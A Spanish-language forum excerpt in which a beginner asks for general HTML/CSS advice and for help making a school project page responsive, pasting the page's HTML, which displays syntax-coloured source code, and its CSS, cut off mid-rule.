| |
|
111
|
Programación / Desarrollo Web / Necesito consejos
|
en: 21 Septiembre 2020, 22:09 pm
|
Hola,yo soy nuevo usando html e css me gustaría que me den consejos para cuando haga una página.El código quedé bien estructurado. |
|
|
|
|
112
|
Programación / Desarrollo Web / Responsive Web
|
en: 19 Septiembre 2020, 02:31 am
|
Hola buenas noches,estoy trabajando para un proyecto de la secundaria.Y logre avanzarlo bastante,pero estoy trancado en la parte de hacer que sea responsive.La cosa es que no tengo ni la mas mínima idea de como hacerlo. Si me pueden dar un ayuda seria mas que excelente. Html <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="css/Tecnologia.css">
<title>Document</title>
</head>
<nav>
<a href="index.html"><img style="margin-left: 1150px;" width="30px" height="30px" src="img/INDEX.png" alt=""></a>
</nav>
<body>
<div class="codigohtml">
<center>
<em style="color: white;font-size: 34px;font-family: Impact, Haettenschweiler, 'Arial Narrow Bold', sans-serif;letter-spacing: 2px;">Parte del codigo fuente</em>
</center>
<p style="color: rgb(51, 51, 51);"><em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__--</em> 1</em><em style="visibility: hidden">--</em><em style="color: rgb(86, 156, 214);"> <em></em><em style="color: rgb(86, 156, 214);">< html </em> </em> <em style="color: rgb(206, 145, 120);"> lang="es"<em style="color: rgb(86, 156, 214);">></em> </p></p>
<em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__---</em ><em class="numero" style="color: rgb(133, 133, 133);">2</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">_-</em></em></em> <em style="color: rgb(86, 156, 214);"> < head ></em>
<p style="color: rgb(51, 51, 51);"><em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__--</em> 3</em><em style="visibility: hidden">-__---</em><em style="color: rgb(86, 156, 214);"> <em></em><em style="color: rgb(86, 156, 214);">< meta </em> </em> <em style="color: rgb(206, 145, 120);"> charset="UTF-8"<em style="color: rgb(86, 156, 214);">></em> </p></p>
<p style="color: rgb(51, 51, 51);"><em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__--</em> 4</em><em style="visibility: hidden">-__---</em><em style="color: rgb(86, 156, 214);"> < meta </em> <em style="color: rgb(206, 145, 120);">name=</em><em style="color: rgb(86, 156, 214);">"viewport"</em> <em style="color: rgb(206, 145, 120);">content=</em><em style="color: rgb(206, 145, 120);">"width=device-width, initial-scale=1.0"<em style="color: rgb(86, 156, 214);">></em></p></p>
<p style="color: rgb(51, 51, 51);"><em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__--</em> 5</em><em style="visibility: hidden">-__---</em><em style="color: rgb(86, 156, 214);"> < link </em> <em style="color: rgb(206, 145, 120);" > rel="stylesheet" </em> <em style="color: skyblue;"> href=</em><em style="color: rgb(206, 145, 120);">"css/cssdeprueba1.css"<em style="color: rgb(86, 156, 214);">></em></p>
<p style="color: rgb(51, 51, 51);"><em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__--</em> 6</em><em style="visibility: hidden">-__---</em><em style="color: rgb(86, 156, 214);">< title ></em><em style="color: rgb(255, 255, 255);">Document</em><em style="color: rgb(86, 156, 214);">< /title ></em></p>
<em style="color: rgb(86, 156, 214);"><em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__--</em> 7<em style="color: rgb(51, 51, 51);"><em style="visibility: hidden">__</em></em></em>< /head ></em>
<br>
<em style="color: rgb(86, 156, 214);"><em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__--</em> 8</em><em style="color: rgb(51, 51, 51);"><em style="visibility: hidden">_-</em></em> < body ></em>
<p style="color: rgb(51, 51, 51);"><em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__--</em> 9</em><em style="color: rgb(51, 51, 51);"><em style="visibility: hidden">-__-</em></em><em style="color: rgb(86, 156, 214);"> < div </em><em style="color: skyblue;">id="menu"</em><em style="color: rgb(86, 156, 214);">></em></p>
<p style="color: rgb(51, 51, 51);"></em><em style="color: rgb(51, 51, 51);"><em style="color: rgb(133, 133, 133);" style="visibility: visible;"><em style="visibility: hidden;">_...</em><em class="numero">10</em><em style="visibility: hidden">-___--</em></em><em style="color: rgb(86, 156, 214);">< ul > </em></p>
<em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__</em> <em class="numero">12</em><em style="visibility: hidden;">_--</em> </em> <em style="color: rgb(86, 156, 214);"> </em><em style="visibility: hidden"><em></em>-______</em><em style="color: rgb(86, 156, 214);">< li ></em><em style="color: rgb(86, 156, 214);"> < a </em> <em style="color: skyblue;"> href=</em><em style="color: rgb(206, 145, 120);">"Tenologia.html"</em><em style="color: rgb(86, 156, 214);">></em><em style="color: rgb(255, 255, 255);"> tecnología </em><em style="color: rgb(86, 156, 214);";>< /a ></em><em style="color: rgb(86, 156, 214);">< /li > </em></p>
<em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__</em> <em class="numero">13</em><em style="visibility: hidden;">_--</em> </em> <em style="color: rgb(86, 156, 214);"> </em><em style="visibility: hidden"><em></em>-______</em><em style="color: rgb(86, 156, 214);">< li ></em><em style="color: rgb(86, 156, 214);"> < a </em> <em style="color: skyblue;"> href=</em><em style="color: rgb(206, 145, 120);">"#"</em><em style="color: rgb(86, 156, 214);">></em><em style="color: rgb(255, 255, 255);"> Ual </em><em style="color: rgb(86, 156, 214);";>< /a ></em><em style="color: rgb(86, 156, 214);">< /li > </em></p><em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__</em> <em class="numero">18</em><em style="visibility: hidden;">_--</em> </em> <em style="color: rgb(86, 156, 214);"> </em><em style="visibility: hidden"><em></em>-______</em><em style="color: rgb(86, 156, 214);">< li ></em><em style="color: rgb(86, 156, 214);"> < a </em> <em style="color: skyblue;"> href=</em><em style="color: rgb(206, 145, 120);">"#"</em><em style="color: rgb(86, 156, 214);">></em><em style="color: rgb(255, 255, 255);"> Ingles</em><em style="color: rgb(86, 156, 214);";>< /a ></em><em style="color: rgb(86, 156, 214);">< /li > </em></p>
<em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__</em> <em class="numero">14</em><em style="visibility: hidden;">_--</em> </em> <em style="color: rgb(86, 156, 214);"> </em><em style="visibility: hidden"><em></em>-______</em><em style="color: rgb(86, 156, 214);">< li ></em><em style="color: rgb(86, 156, 214);"> < a </em> <em style="color: skyblue;"> href=</em><em style="color: rgb(206, 145, 120);">"#"</em><em style="color: rgb(86, 156, 214);">></em><em style="color: rgb(255, 255, 255);"> Ciencias experimentales </em><em style="color: rgb(86, 156, 214);";>< /a ></em><em style="color: rgb(86, 156, 214);">< /li > </em></p>
<em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__</em> <em class="numero">15</em><em style="visibility: hidden;">_--</em> </em> <em style="color: rgb(86, 156, 214);"> </em><em style="visibility: hidden"><em></em>-______</em><em style="color: rgb(86, 156, 214);">< li ></em><em style="color: rgb(86, 156, 214);"> < a </em> <em style="color: skyblue;"> href=</em><em style="color: rgb(206, 145, 120);">"#"</em><em style="color: rgb(86, 156, 214);">></em><em style="color: rgb(255, 255, 255);"> Idioma esp</em><em style="color: rgb(86, 156, 214);";>< /a ></em><em style="color: rgb(86, 156, 214);">< /li > </em></p><em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__</em> <em class="numero">18</em><em style="visibility: hidden;">_--</em> </em> <em style="color: rgb(86, 156, 214);"> </em><em style="visibility: hidden"><em></em>-______</em><em style="color: rgb(86, 156, 214);">< li ></em><em style="color: rgb(86, 156, 214);"> < a </em> <em style="color: skyblue;"> href=</em><em style="color: rgb(206, 145, 120);">"#"</em><em style="color: rgb(86, 156, 214);">></em><em style="color: rgb(255, 255, 255);"> Biologia</em><em style="color: rgb(86, 156, 214);";>< /a ></em><em style="color: rgb(86, 156, 214);">< /li > </em></p>
<em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__</em> <em class="numero">16</em><em style="visibility: hidden;">_--</em> </em> <em style="color: rgb(86, 156, 214);"> </em><em style="visibility: hidden"><em></em>-______</em><em style="color: rgb(86, 156, 214);">< li ></em><em style="color: rgb(86, 156, 214);"> < a </em> <em style="color: skyblue;"> href=</em><em style="color: rgb(206, 145, 120);">"#"</em><em style="color: rgb(86, 156, 214);">></em><em style="color: rgb(255, 255, 255);"> Matemática</em><em style="color: rgb(86, 156, 214);";>< /a ></em><em style="color: rgb(86, 156, 214);">< /li > </em></p>
<em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__</em> <em class="numero">17</em><em style="visibility: hidden;">_--</em> </em> <em style="color: rgb(86, 156, 214);"> </em><em style="visibility: hidden"><em></em>-______</em><em style="color: rgb(86, 156, 214);">< li ></em><em style="color: rgb(86, 156, 214);"> < a </em> <em style="color: skyblue;"> href=</em><em style="color: rgb(206, 145, 120);">"#"</em><em style="color: rgb(86, 156, 214);">></em><em style="color: rgb(255, 255, 255);"> Taller </em><em style="color: rgb(86, 156, 214);";>< /a ></em><em style="color: rgb(86, 156, 214);">< /li > </em></p>
<p style="color: rgb(51, 51, 51);"> <em class="numero" style="color: rgb(133, 133, 133);" style="visibility: visible;"><em style="visibility: hidden;">__</em> 18</em><em style="visibility: hidden">-______</em><em style="color: rgb(86, 156, 214);">< /ul > </em></p>
<em style="color: rgb(86, 156, 214);"><em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_..</em> 19<em style="visibility: hidden;">__-</em></em> < /div > </em>
<br>
<em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">__-</em><em class="numero">20</em><em style="visibility: hidden;">_--</em><em style="color: rgb(86, 156, 214);">< /body ></em>
<br>
<em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_..</em> <em class="numero">21</em><em style="visibility: hidden;">_--</em> </em> <em style="color: rgb(86, 156, 214);"> < s tyle > </em>
<br>
<em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">22</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">___-</em></em></em> <em style="color: rgb(86, 156, 214);">*<em style="color: white;"> {</em></em>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">23</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">padding<em style="color: white;">:</em > <em style="color: rgb(181, 206, 168);">0</em> <em style="color: white;">;</em></em> </p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">24</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">margin<em style="color: white;">:</em > <em style="color: rgb(181, 206, 168);">0</em> <em style="color: white;">;</em></em> </p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">25</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">font-family<em style="color: white;">:</em > <em style="color: rgb(181, 206, 168);"><em style="color: rgb(206, 145, 120);">Arial</em><em style="color: white;">,</em> <em style="color: rgb(206, 145, 120);">Helvetica</em><em style="color: white;">,</em> <em style="color: rgb(206, 145, 120);">sans-serif</em></em> <em style="color: white;">;</em></em> </p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">26</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">decoration<em style="color: white;">:</em > <em style="color: rgb(181, 206, 168);"><em style="color: rgb(206, 145, 120);">none</em><em style="color: white;">;</em></em> </p>
<em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">27</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">__-----</em></em></em> <em style="color: white;">}</em></em>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">28</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">_--</em></em></em> <em ></em></em></p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">29</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">__--</em></em></em> <em style="color: rgb(215, 186, 125);">.codigohtml<em style="color: white;"> {</em></em> </p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">30</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">background-color<em style="color: rgb(220, 220, 170);">:<em> rgb</em><em style="color: white;">(<em style="color: rgb(181, 206, 168);">51<em style="color: white;">,</em><em style="color: rgb(181, 206, 168);">51<em style="color: white;">,</em><em style="color: rgb(181, 206, 168);">51</em></em><em style="color: white;">)<em>;</em> </em> </em></em> </p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">31</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">border-color<em style="color: rgb(220, 220, 170);">:<em> rgb</em><em style="color: white;">(<em style="color: rgb(181, 206, 168);">177<em style="color: white;">,</em><em style="color: rgb(181, 206, 168);">177<em style="color: white;">,</em><em style="color: rgb(181, 206, 168);">177</em></em><em style="color: white;">)<em>;</em> </em> </em></em> </p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">32</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">border-width<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color: rgb(181, 206, 168);"> 3px</em><em style="color: white;">;</em> </em></p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">33</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">border-style<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color:rgb(206, 145, 120);"> solid</em><em style="color: white;">;</em> </em></p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">34</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">margin<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color: rgb(181, 206, 168);"> 20px</em><em style="color: white;">;</em> </em></p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">35</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">font-size<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color: rgb(181, 206, 168);"> 13px</em><em style="color: white;">;</em> </em></p>
<em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">36</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">___---</em></em></em> <em style="color: white;">}</em></em>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">37</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden"></em></em></em> <em ></em></em></p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">38</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">___-</em></em></em> <em style="color: rgb(215, 186, 125);">.html<em style="color: white;">{</em></em> </p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">39</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);"> margin-bottom<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color: rgb(181, 206, 168);"> -19px</em><em style="color: white;">;</em> </em></p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">40</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);"> padding<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color: rgb(181, 206, 168);"> 2px</em><em style="color: white;">;</em> </em></p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">41</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">text-align<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color:rgb(206, 145, 120);"> center</em><em style="color: white;">;</em> </em></p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">42</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">font-family<em style="color: white;">:</em > <em style="color: rgb(181, 206, 168);"><em style="color: rgb(206, 145, 120);">Arial</em><em style="color: white;">,</em> <em style="color: rgb(206, 145, 120);">Helvetica</em><em style="color: white;">,</em> <em style="color: rgb(206, 145, 120);">sans-serif</em></em><em style="color: white;">;</em></em></p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">43</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);"> font-size<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color: rgb(181, 206, 168);"> 15px</em><em style="color: white;">;</em> </em></p>
<em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">44</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">___---</em></em></em> <em style="color: white;">}</em></em>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">45</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">_--</em></em></em> <em ></em></em></p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">46</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">___-</em></em></em> <em style="color: rgb(215, 186, 125);">.css<em style="color: white;">{</em></em> </p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">47</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);"> margin-bottom<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color: rgb(181, 206, 168);"> -19px</em><em style="color: white;">;</em> </em></p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">48</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);"> padding<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color: rgb(181, 206, 168);"> 2px</em><em style="color: white;">;</em> </em></p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">49</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">text-align<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color:rgb(206, 145, 120);"> center</em><em style="color: white;">;</em> </em></p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">50</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">font-family<em style="color: white;">:</em > <em style="color: rgb(181, 206, 168);"><em style="color: rgb(206, 145, 120);">Arial</em><em style="color: white;">,</em> <em style="color: rgb(206, 145, 120);">Helvetica</em><em style="color: white;">,</em> <em style="color: rgb(206, 145, 120);">sans-serif</em></em><em style="color: white;">;</em></em></p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">51</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);"> font-size<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color: rgb(181, 206, 168);"> 15px</em><em style="color: white;">;</em> </em></p>
<em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">52</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">___---</em></em></em> <em style="color: white;">}</em></em>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">53</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">_--</em></em></em> <em ></em></em></p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">54</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">___-</em></em></em> <em style="color: rgb(215, 186, 125);">.em<em style="color: white;"> {</em></em> </p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">55</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">____----</em></em></em> <em style="color: rgb(156, 220, 254);">font-style<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color:rgb(206, 145, 120);"> normal</em><em style="color: white;">;</em> </em></p>
<em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">56</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">___---</em></em></em> <em style="color: white;">}</em></em>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">57</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">_--</em></em></em> <em ></em></em></p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">58</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">___-</em></em></em> <em style="color: rgb(215, 186, 125);">.numero<em style="color: white;"> {</em></em> </p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">59</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);"> -moz-user-select<em style="color: white;">:</em><em style="color: rgb(206, 145, 120);">none</em><em style="color: white;">;</em> </em> </p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">60</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);"> -webkit-user-select<em style="color: white;">:</em><em style="color: rgb(206, 145, 120);">none</em><em style="color: white;">;</em> </em> </p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">61</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);"> -ms-user-select<em style="color: white;">:</em><em style="color: rgb(206, 145, 120);">none</em><em style="color: white;">;</em> </em> </p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">62</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);"> -user-select<em style="color: white;">:</em><em style="color: rgb(206, 145, 120);">none</em><em style="color: white;">;</em> </em> </p>
<em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">63</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">___---</em></em></em> <em style="color: white;">}</em></em>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">64</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">_--</em></em></em> <em ></em></em></p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">65</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">___-</em></em></em> <em style="color: rgb(215, 186, 125);">.codigocss<em style="color: white;">{</em></em> </p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">66</em></em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">background-color<em style="color: rgb(220, 220, 170);">:<em> rgb</em><em style="color: white;">(<em style="color: rgb(181, 206, 168);">51<em style="color: white;">,</em><em style="color: rgb(181, 206, 168);">51<em style="color: white;">,</em><em style="color: rgb(181, 206, 168);">51</em></em><em style="color: white;">)<em>;</em> </em> </em></em> </p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">67</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">border-color<em style="color: rgb(220, 220, 170);">:<em> rgb</em><em style="color: white;">(<em style="color: rgb(181, 206, 168);">177<em style="color: white;">,</em><em style="color: rgb(181, 206, 168);">177<em style="color: white;">,</em><em style="color: rgb(181, 206, 168);">177</em></em><em style="color: white;">)<em>;</em> </em> </em></em> </p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">68</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">border-width<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color: rgb(181, 206, 168);"> 3px</em><em style="color: white;">;</em> </em></p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">69</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">border-style<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color:rgb(206, 145, 120);"> solid</em><em style="color: white;">;</em> </em></p>
<p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">70</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">margin<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color: rgb(181, 206, 168);"> 20px</em><em style="color: white;">;</em> </em></p>
<em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">71</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">___---</em></em></em> <em style="color: white;">}</em></em>
<br>
<em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_..</em> <em class="numero">72</em><em style="visibility: hidden;">_--</em> </em> <em style="color: rgb(86, 156, 214);">< /style ></em>
<br>
<em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_..</em> <em class="numero">73</em><em style="visibility: hidden;">_--</em> </em> <em style="color: rgb(86, 156, 214);">< /html ></em>
</div>
</body>
<footer class="middle">
<button class="btn btn1"><a style="text-decoration: none;color: white;" href="PaginaWeb.zip" download="PaginaWeb.rar">Descargue la pagina web aquí!</a></button>
</footer>
</html> Css *{
padding: 0;
margin: 0;
font-family: Arial, Helvetica, sans-serif;
text-decoration: none;
}
body{
background-color: rgb(51, 51, 51);
}
em{
font-style: normal;
}
.numero{
-moz-user-select: none;
-webkit-user-select: none;
-ms-user-select: none;
user-select: none;
}
.middle{
position: absolute;
bottom: -760px;
left: 50%;
transform: translate(-50%,-50%);
text-align: center;
}
.btn{
background: none;
border: 2px solid #000;
font-size: "montserrat",sans-serif;
text-transform: uppercase;
padding: 12px 20px;
min-width: 200px;
margin: 10px;
cursor: pointer;
transition: color 0.4s linear;
position: relative;
top: -20px;
}
.btn:hover{
color: #fff;
}
.btn::before{
content: "";
position: absolute;
left: 0;
top: 0;
width: 100%;
height: 100%;
background-color: rgb(0, 26, 255);
z-index: -1;
transition: transform 0.5s;
transform-origin:0 0;
transition-timing-function: cubic-bezier(0.5,1.6,0.4,0.7);
}
.btn1::before{
transition: 1.5s;
transform:scaleX(0) ;
}
.btn1:hover::before{
